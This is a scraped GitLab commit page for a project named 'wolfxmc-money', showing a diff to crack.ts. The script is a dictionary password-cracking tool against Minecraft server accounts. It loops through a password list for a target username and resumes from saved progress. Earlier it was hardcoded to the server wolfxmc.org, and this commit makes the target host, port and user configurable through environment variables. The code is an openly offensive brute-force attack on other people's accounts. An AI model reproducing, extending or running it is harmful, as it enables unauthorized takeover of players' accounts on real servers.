Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
W
wolfxmc-money
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
wolfxmc-money
Commits
0bb2f7bd
Commit
0bb2f7bd
authored
Jan 15, 2021
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
env var customize
parent
cc5bc1a6
Pipeline
#2130
passed with stages
in 1 minute and 24 seconds
Changes
1
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
8 additions
and
4 deletions
+8
-4
crack.ts
crack.ts
+8
-4
No files found.
crack.ts
View file @
0bb2f7bd
...
@@ -18,7 +18,11 @@ async function tryPassword(mc: Minecraft, password: string) {
...
@@ -18,7 +18,11 @@ async function tryPassword(mc: Minecraft, password: string) {
}
}
}
}
async
function
runOnce
(
targetUser
:
string
)
{
const
targetUser
=
process
.
env
.
TARGET_USER
;
const
host
=
process
.
env
.
TARGET_HOST
;
const
port
=
process
.
env
.
TARGET_PORT
?
parseInt
(
process
.
env
.
TARGET_PORT
)
:
25565
;
async
function
runOnce
()
{
let
lastSequence
=
0
;
let
lastSequence
=
0
;
try
{
try
{
lastSequence
=
JSON
.
parse
(
await
fs
.
readFile
(
"
./data/last.json
"
,
"
utf-8
"
)).
lastSequence
;
lastSequence
=
JSON
.
parse
(
await
fs
.
readFile
(
"
./data/last.json
"
,
"
utf-8
"
)).
lastSequence
;
...
@@ -30,8 +34,8 @@ async function runOnce(targetUser: string) {
...
@@ -30,8 +34,8 @@ async function runOnce(targetUser: string) {
console
.
log
(
`Starting crack user
${
targetUser
}
`
);
console
.
log
(
`Starting crack user
${
targetUser
}
`
);
const
pool
=
new
MinecraftPool
(
1
,
{
const
pool
=
new
MinecraftPool
(
1
,
{
username
:
targetUser
,
username
:
targetUser
,
host
:
'
wolfxmc.org
'
,
host
,
port
:
25565
port
});
});
try
{
try
{
for
(
let
i
=
lastSequence
;
i
<
dict
.
length
;
++
i
)
{
for
(
let
i
=
lastSequence
;
i
<
dict
.
length
;
++
i
)
{
...
@@ -51,4 +55,4 @@ async function runOnce(targetUser: string) {
...
@@ -51,4 +55,4 @@ async function runOnce(targetUser: string) {
process
.
exit
();
process
.
exit
();
}
}
}
}
runOnce
(
process
.
argv
[
2
]
);
runOnce
();
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment